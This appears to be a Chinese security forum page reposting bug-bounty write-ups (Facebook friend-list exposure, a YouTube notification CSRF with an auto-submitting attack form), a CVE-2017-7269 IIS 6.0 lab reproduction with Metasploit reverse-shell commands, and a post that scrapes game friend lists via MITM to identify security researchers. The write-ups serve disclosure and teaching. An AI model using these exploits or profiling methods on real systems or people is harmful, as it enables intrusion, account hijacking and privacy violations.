【转】挖洞经验丨看我如何获取Facebook用户的隐私好友列表

willeson 发表了文章 • 0 个评论 • 177 次浏览 • 2019-04-29 12:33 • 来自相关话题

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:

1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。

Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:

https://www.facebook.com/friends/requests/?fcref=swpsa

这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 [code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD; 查看全部

当拥有个人信息的组织机构发生数据失窃或遭受未授权访问行为时,就可能发生用户信息泄露事件。通常来说,这是种安全事件会导致一些敏感受保护的机密数据被广泛流传、分析或恶意利用。本文分享的漏洞writeup,只需知道Facebook用户的注册邮箱或者手机号码,就能间接获取该用户相关的隐私好友列表,进而推断出用户的一个大致的社交关系图谱。漏洞最终获得了Facebook官方$10,000美金的奖励。
按照Facebook帮助页面的说明来看,“你可能认识的人”(People You May Know)这项功能可以帮助Facebook用户找到更多相识的朋友,该功能建立起你和对方之间的关系是基于以下因素来进行判断的:


1.你们之间有共同朋友或存在相互朋友关系,这也是建立这种可能认识关系的最根本原因;
2.你们在同一个Facebook群组中,或是在同一张照片中被标记过;
3.另外就是你们通过同一个网络出口(学校、单位)登录过Facebook账户。


Facebook好友列表的隐私设置
默认来说,Facebook用户的好友列表是公开的,当然,Facebook也给这个好友列表设置了三种不同的隐私选项:公开、朋友可见和仅自己可见等自定义设置),具体参考Facebook帮助页面说明。漏洞发现
这里作者发现的漏洞是这样的:首先,在用户注册阶段,恶意攻击者可以通过先输入目标受害者的手机号码作为注册确认的手机号码,如下:
之后,Facebook会向这个手机号码发送一个短信验证码,而且要求在确认界面输入这个验证码,如下:
当然了,恶意攻击者肯定是不知道目标受害者的短信内容了,更别提这个短信验证码了。所以,在这里攻击者可以点击界面中出现的“更新联系方式”(Update Contact info)按钮,在跳出的新手机号码或新邮箱地址添加栏中,填写攻击者自己的邮箱地址hack@rajsek.com,如下:
接下来,攻击者自己的邮箱hack@rajsek.com中会收到一封Facebook发来的验证码邮件,在之前的确认界面中填写这个验证码,选择“继续”(Continue)。然后,Facebook会提示该账户与hack@rajsek.com是绑定关系,且需攻击者以邮箱hack@rajsek.com作为登录凭据完成登录:
现在,我们转到以下链接去:


https://www.facebook.com/friends/requests/?fcref=swpsa


这个链接是“你可能认识的人”URL,或者直接用curl对以下链接请求进行抓包:
 
[code]curl ‘https://www.facebook.com/gettingstarted/?step=friend_requests' -H ‘authority: www.facebook.com' -H ‘referer: https://www.facebook.com/gettingstarted/' -H ‘cookie: xxxx’ — compressed
[/code]
 
这里,Facebook向恶意攻击者推送的“你可能认识的人”相关列表,正是目标受害者的好友列表,如下:

整个过程可在以下PoC视频中观看,视频中作者用目标受害者邮箱为注册人信息,用自己的手机号码作为联系更新信息,最终,这种方式也能同样获得目标受害者好友列表:
 漏洞总结
该漏洞可以被一些恶意用户或攻击者利用,间接判断出目标受害者的社交关系图谱。前提在于,只需要知道目标受害者的注册Facebook时使用的邮箱地址或者手机号码,可以通过社工方式或是前述提到的好友关系建立依据来获得。漏洞上报进程
2018.10.16  向Facebook进行漏洞初报;
2019.3.20   Facebook奖励我 $10,000 USD;

[转]CSRF漏洞劫持Youtube用户的通知消息

你可以叫我风平 发表了文章 • 0 个评论 • 130 次浏览 • 2019-04-28 22:33 • 来自相关话题

 
 
[size=15]


[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.org和developers.google.com中的详细介绍说明。





 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:





 
  查看全部
 
 
[size=15]
1.jpg
[/size]
         大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享
 
      从POST请求中发现端倪
        某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"

https://updates.push.services.mozilla.com/wpush/v1/gAAA...

-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh6nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--
        乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中updates.push.services.mozilla.com的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
 
       分析Service Worker 服务工作线程​
 
        深入分析可知,上述POST请求中的referrer字段值为“https://www.youtube.com/sw.js”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
        Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
        也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
        
       构造CSRF攻击框架​
 
        到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
        index.html:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Push Demo</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" media="screen" href="index.css" />
<script src="index.js"></script>
</head>
<body>
<h1>Hello World</h1>
<button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
if (!('serviceWorker' in navigator)) {
throw new Error('No Service Worker support!')
}
if (!('PushManager' in window)) {
throw new Error('No Push API Support!')
}
}
const registerServiceWorker = async () => {
const swRegistration = await navigator.serviceWorker.register('sw.js')
return swRegistration
}
const requestNotificationPermission = async () => {
const permission = await window.Notification.requestPermission()
if (permission !== 'granted') {
throw new Error('Permission not granted for Notification')
}
}
const main = async () => {
check()
const swRegistration = await registerServiceWorker()
const permission = await requestNotificationPermission()
}
sw.js:

self.addEventListener('activate', async () => { console.log("Hello");
self.registration.pushManager.subscribe()
.then(function(subscription) {
console.log(JSON.stringify(subscription));
})
.catch(function(e) {
console.log(e);
});
})
self.addEventListener("push", function(event) {
if (event.data) {
console.log("Push event!! ", event.data.text());
showLocalNotification("Yolo", event.data.text(), self.registration);
} else {
console.log("Push event but no data");
}
});
const showLocalNotification = (title, body, swRegistration) => {
const options = {
body
// here you can add more properties like icon, image, vibrate, etc.
};
swRegistration.showNotification(title, options);
};
        这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
        在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考:developer.mozilla.orgdevelopers.google.com中的详细介绍说明。

2.png

 
        综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
<input type="text" name="device_id" value="replace">
<input type="text" name="permission" value="granted">
<input type="text" name="endpoint" value="replace">
<input type="text" name="p256dh_key" value="replace=">
<input type="text" name="auth_key" value="replace">
<input type="submit">
<script type="text/javascript">document.csrf.submit();</script>
</form>
        让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:

3.png

 
 

CVE-2017-7269 IIS6.0远程代码执行漏洞复现

llpkk 发表了文章 • 0 个评论 • 223 次浏览 • 2019-04-21 23:59 • 来自相关话题

0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次
 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2





开启了WebDAV服务





 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269





把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下





打开神器Metasploit





输入use命令,use exploit/windows/iis/cve-2017-7269





使用命令show options





 
设置目标机ip,set RHOST 192.168.1.175设置对面网站,set HttpHost 192.168.1.175设置返回载荷,set payload windows/meterpreter/reverse_tcp设置攻击机ip,set LHOST 192.168.1.144进行溢出,exploit





 
输入shell命令,来到了我们所熟悉的界面





执行命令whoami





 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。 查看全部
0x01 漏洞简介
漏洞编号:CVE-2017-7269
发现人员:Zhiniang Peng和Chen Wu(华南理工大学信息安全实验室,计算机科学与工程学院)
漏洞简述:开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对 Windows Server 2003 R2 可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。
漏洞类型:缓冲区溢出
漏洞等级:高危
影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)
触发函数:ScStoragePathFromUrl函数
附加信息:ScStoragePathFromUrl函数被调用了两次

 
0x02 复现漏洞
复现环境:Microsoft Windows Server 2003 R2

1.png

开启了WebDAV服务

2.png

 
攻击者IP:192.168.1.144
目标机IP:192.168.1.175
 
exp:https://github.com/zcgonvh/cve-2017-7269

3.png

把exp 复制到攻击机器的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下

4.png

打开神器Metasploit

5.png

输入use命令,use exploit/windows/iis/cve-2017-7269

6.png

使用命令show options

7.png

 
  1. 设置目标机ip,set RHOST 192.168.1.175
  2. 设置对面网站,set HttpHost 192.168.1.175
  3. 设置返回载荷,set payload windows/meterpreter/reverse_tcp
  4. 设置攻击机ip,set LHOST 192.168.1.144
  5. 进行溢出,exploit


8.png

 
输入shell命令,来到了我们所熟悉的界面

9.png

执行命令whoami

10.png

 
0x03 修复意见
2015年7月15日,微软已停止对Windows Server 2003的支持,所以官方没有相关解决方案,建议用户升级到最新系统 Windows Server 2016。如果不进行升级的话,请直接关闭WebDAV服务防止漏洞被利用。

数据分析与可视化:谁是安全圈的吃鸡第一人

fireant 发表了文章 • 0 个评论 • 166 次浏览 • 2019-04-19 09:39 • 来自相关话题

*本文原创作者:Omegogogo
各位大佬看看自己上榜了没
 0×00 前言 
放假和小伙伴们打了几把PUBG,大半年没碰,居然也意外地躺着吃了次鸡。吃鸡这个游戏果然得4个认识的人打(dai)战(dai)术(wo)才更有趣。
由于身边搞安全的人比较多,之前也会和一些安全圈的大佬一起玩,经常会有些认识或不认识的黑阔大佬开着高科技带着躺鸡。当然笔者也曾羞耻地开过挂带妹(纪念号被封的第193天)。
那么这些黑阔大佬们,在不开挂的情况下,谁会是他们之中技术最好的呢?带着这样的疑问,试着从数据分析的角度来看看谁会是安全圈的吃鸡第一人。


注:全文所指的“安全圈”是一个非常狭义的概念,在本文中仅覆盖到小部分安全从业者玩家,所以标题有些夸大。如有其他错误也欢迎指出。 


0×01 数据收集
怎么才能知道哪些安全从业者在玩这个游戏,他们的ID又是什么呢?
在一些APP里可以查到玩家的战绩,其中比较有价值的是,还能看到每位玩家的好友列表。
那么可以有这么个思路,也就是一个广度优先遍历:


1.确定一个初始的ID链表,并保证初始链表内都是安全圈内人士。
2.遍历初始链表内每一位玩家的所有好友。
3.当链表内H的好友J,同时也是链表内另外两位黑客的共同好友,那么认为J也是安全圈内人士,加入到链表尾处。
4.向后迭代重复2、3。


动手实现
发现走的是https,挂上证书以MITM的方式来监听https流量:

可以发现数据是以json格式传递的,写个python脚本来自动完成获取数据,单线程+限速(一方面不至于给别人家的api爬挂了另一方面也不至于触发IDS、anti-CC等机制)。
脚本主要代码是:
 def r_get(nickname,offset):
#发送给api的request
...

return json#返回一个json格式

def get_friends(nickname):

offset = 0
res_js = r_get(nickname,str(offset))
temp_friends = res_js['result']['board']
if res_js['status'] == "ok":
while len(res_js['result']['board']) == 30:
offset = offset + 30
res_js = r_get(nickname,str(offset))
temp_friends = temp_friends + res_js['result']['board']
print(" {0} 的好友人数 {1}".format(res_js['result']['user_rank']['nickname'], len(temp_friends) -1 ))
friends =
Wxname = ""
Wxsex = ""
Wxavatar = ""
sql = ""
for playerinfo in temp_friends:
if playerinfo['nickname'] != res_js['result']['user_rank']['nickname']:
friends.append(playerinfo['nickname'])
elif playerinfo.has_key('heybox_info') == True:
Wxname = playerinfo['heybox_info']['username']
Wxsex = playerinfo['heybox_info']['sex']
Wxavatar = playerinfo['heybox_info']['avartar']
friends_s = ','.join(friends)

sql = "INSERT INTO player (nickname,avatar,steamID,friends,Wxname,Wxsex,Wxavatar) \
VALUES ('{0}','{1}','{2}','{3}','{4}','{5}','{6}')".format(res_js['result']['user_rank']['nickname'],res_js['result']['user_rank']['avatar'], res_js['result']['user_rank']['steam_id'],friends_s,Wxname,Wxsex,Wxavatar)
return friends,sql
else:
print("获取{0}的好友人数失败, 返回{1}".format(res_js['result']['user_rank']['nickname'],res_js['msg']))
return 1

def record_rds(sql):
#db操作

def main():
...
 笔者先确定一份初始安全圈列表,包括“Rickyhao”、“RicterZ”、“r3dr41n”、“PwnDog”等。这些人或是在bat、360等公司从事安全相关工作,或是笔者信安专业的同学,或ID明显带有安全的特征(PwnDog),总之都是比较确信的安全圈人士。
以这些人为初始列表,很快就有几位玩家被划定为安全圈人士。

 
在遍历到大约第50来位的时候也看到了自己的游戏昵称:Omego555(正是刚才提到开挂带妹被封的账号)    

遍历到“wilson233”时发现直接跳过了,并没有被纳入到安全圈列表中,但笔者读过wilson写下的很多优质文章,他也是某甲方公司的安全从业者。

 
(该ID在后来的某次遍历中也被纳入了列表中,程序表现出一定的健壮性。 )
在数据量达到1000多的时候笔者手动终止了程序。原因是列表增长的速度越来越快,在单线程+限速的限制下程序迟迟看不到收敛的希望。另一方面笔者只是想做个小测试,并不需要太大规模的数据集。观察数据集
初步观察数据集,发现很多有意思的事情:比如在遍历到第300多位玩家的时候,发现了一个ID带得有“pkav”字样的玩家”PKAV-xiaoL“(pkav是原来在乌云很有名气的安全组织,其中一名成员“gainover”正是原乌云知识库《安全圈有多大》一文的作者,笔者也是受到这篇文章的启发才打算做这个小项目)。
随着PKAV-xiaoL被确定到安全圈列表中,由于社交关系,更多的pkav成员也被添加进列表中。

 
除了pkav-xxx,还看到了一些很眼熟的ID:比如【SparkZheng】—正是多个ios越狱的作者蒸米大大

 
比如【ma7h1as】,笔者大学时的队友,现玄武实验室大佬,多个Google/MS CVE获得者,超级大黑客

 
再来看这位,从游戏昵称看不出是谁,但微信昵称告诉我们这个账号的主人应该是安全盒子的创始人王松。

 
当然还有一些活跃在安全论坛,或者笔者有读过的一些高质量技术文章的作者的ID,眼熟的如”lightless233″、”LoRexxar”、”susu43″、”CurseRed”等,这里不再一一列举。
除此之外还有一些玩家,比如这位:


笔者既不认识他,也从未在安全论坛见过他的ID,只是猜想用“sudo”作为ID的人是安全从业者的可能性比较大吧。那么他真的会是安全圈人士吗?
试着搜索一下:
找到了他的GitHub,并在
 
其中发现了很多你懂的东西,很有趣对吧? 0×02 社群发现与社区关系
我们发现了很多安全圈的吃鸡玩家,但是除了这些眼熟和有迹可循的ID,列表里躺着的绝大多数都是笔者没见过,陌生的ID。为了弄清楚他们之间的社区关系。我们使用一些算法和可视化工具来帮助进行数据分析。
先用环形关系图看看:

 
圆上的每个红点代表一位玩家,无数条灰边则将各位玩家串联起来。在这份数据集中一共有1270个节点,他们互相组成了共计14216次好友关系,形成了7128条灰边。称得上是复杂的社交网络了。
我们使用无向图来构建力引导关系,虽然在安全领域的风控、反欺诈方向中使用有向图更为广泛一些,但好友关系是双向的,因此这里用无向图。代码如下:
 # -*- coding: UTF-8-*-  
from pyecharts import Graph

import json

import sys

import sqlite3

conn = sqlite3.connect('db2.db')

c = conn.cursor()

print "Opened database successfully";

cursor = c.execute("SELECT nickname,friends FROM player")

nodes =

links =

temps =

for row in cursor:

temps.append({"name":row[0],"friends":row[1].split(",")})

nodes.append({"name":row[0],"symbolSize":5})

for temp in temps:

for friend in temp["friends"]:

if {"name":friend,"symbolSize":5} in nodes:

links.append({"source":temp["name"],"target":friend})

graph = Graph("力导图",width=1400,height=1600)

graph.add(

"",

nodes,

links,

graph_layout = "force",

label_pos="right",

graph_repulsion=10,

line_curve=0.2,

)

graph.render() 
 
得到:

 
俗话说“物以类聚人以群分”,在我们的数据集中也同样适用。可以观察到这份社交网络其实是由多个小社区群落组成的,比如在最左下角的这个部分,这个小社区处于安全圈的边缘地带,很有可能不是安全从业者,我们放大来看:

 
这个“五边形”是一个完全子图。在这个小社区中,五个人都互为好友,也被称作“派系(Clique)”,这五个人很有可能经常一起开黑。
同时我们可以看到顶点这位玩家:

 
如果我们把上面最大的部分看做是安全圈的话,这位叫Feng_Bao的玩家卡在了安全圈与这个5人小社区“道路咽喉”的位置,这样的节点具有较高的“中介中心性(Betweenness Centrality)”,往往具有不可替代的作用。在现实中类似房屋中介一样,买房者与卖房者之间的联系都得靠他。
除了中介中心性,在图论中节点还有另外两个重要性质:度中心性(Degree Centrality)以及紧密中心性(Closeness Centrality)。
一个节点与之相连的边越多,这个节点的度中心性就越高,也就是好友越多,度中心性越高,很可能是具有较高名望的人,比如微博的大V,意见领袖等。
紧密中心性则是衡量一个节点到其他所有节点的最短距离之和的指标,一个节点的紧密中心性越高那么他传播信息的时候也就越不需要依赖其他人。
分别计算一下数据集中三个中心性排名靠前的玩家。
有没有看到眼熟的ID呢:

 
确实看到一些眼熟的ID,但由于我们前面寻找安全圈的算法并不准确,在收集数据的过程中很可能误入到某些特定的圈子中。比如某些安全圈玩家同时又是二次元爱好者,那么很可能会把这份数据集带入到“二次元圈”。为了尽量避免这种情况,我们使用一些社区发现算法来完成社区的寻找与分割。


社区发现算法用来发现网络中的社区结构,多数是聚类类型的算法。使用社区发现算法可以帮助我们发现联系相对紧密的社区,从而帮助我们把安全圈和其他圈子的人分割开来。



 
常见的社区发现算法有:Girvan-Newman、Louvai、K-Clique、Label propagation等。
在Python下可以使用NetworkX来完成各类社区发现算法的调试,但NetworkX本身只是算法工具,并不具备可视化功能,而笔者联调plt画出来的图实在奇丑无比。因此这里使用算法单一但可视化功能强悍的gephi来实现。
fast-unfolding是基于Modularity的算法,也是复杂网络当中进行社团划分简单高效、应用最广泛的算法。
用force atlas图布局:

 
fast-unfolding:

 
除此之外Gephi还支持GN算法,但内存要求较高,有兴趣的同学可以尝试下其他算法。
经过30000余次迭代,最终得到了19个社区,用图像来表示是这样的:

 
在社区发现算法中社区的数目和大小通常是不可知的,一般是用模块度Modularity来检查社区分类的合理性。由于本文采集的数据较少且这里的好友关系是双向的,不像微博的关注/粉丝的机制能较准确地找出图的连通性,所以这里的社区发现效果并不理想。
笔者在使用NetworkX尝试了多种算法和不同的参数后,最终选择了一个样本数量为1125的社区,覆盖了原数据集样本总数的88.58%。在简单观察了这个社区的合理性后,决定使用这份数据集来做后续的战绩分析。
 
 0×03 战绩爬取和分析谁是安全圈的吃鸡第一人
拿到了要进行战绩数据采集的玩家名单后,我们需要先确定几个指标来衡量一个玩家的吃鸡技术水平,才能有指向性的进行数据采集。笔者最终选取了数个指标,分别是:


1.历史最高Rank,即最高段位
2.最近20场游戏的平均排名
3.最近20场的吃鸡数和前10数
4.最近20场游戏的击杀总数
5.最近20场游戏造成的总伤害


笔者还决定采集一些有趣的指标,能反映玩家的游戏习惯:


1.最近20场的武器使用情况
2.最近20场的死亡地点
3.最近20场的游戏总时长


爬虫写完后数据很快就抓取完毕。
先来看看安全圈玩家们最近20场游戏的情况
在最近的20场比赛中苟到排名前十次数最多的是【RickyHao】和【NeglectLee】两位,达到惊人的17次,85%的前10率。
这一指标在安全圈的平均值是6.33。
 
单独看看吃鸡情况:

 
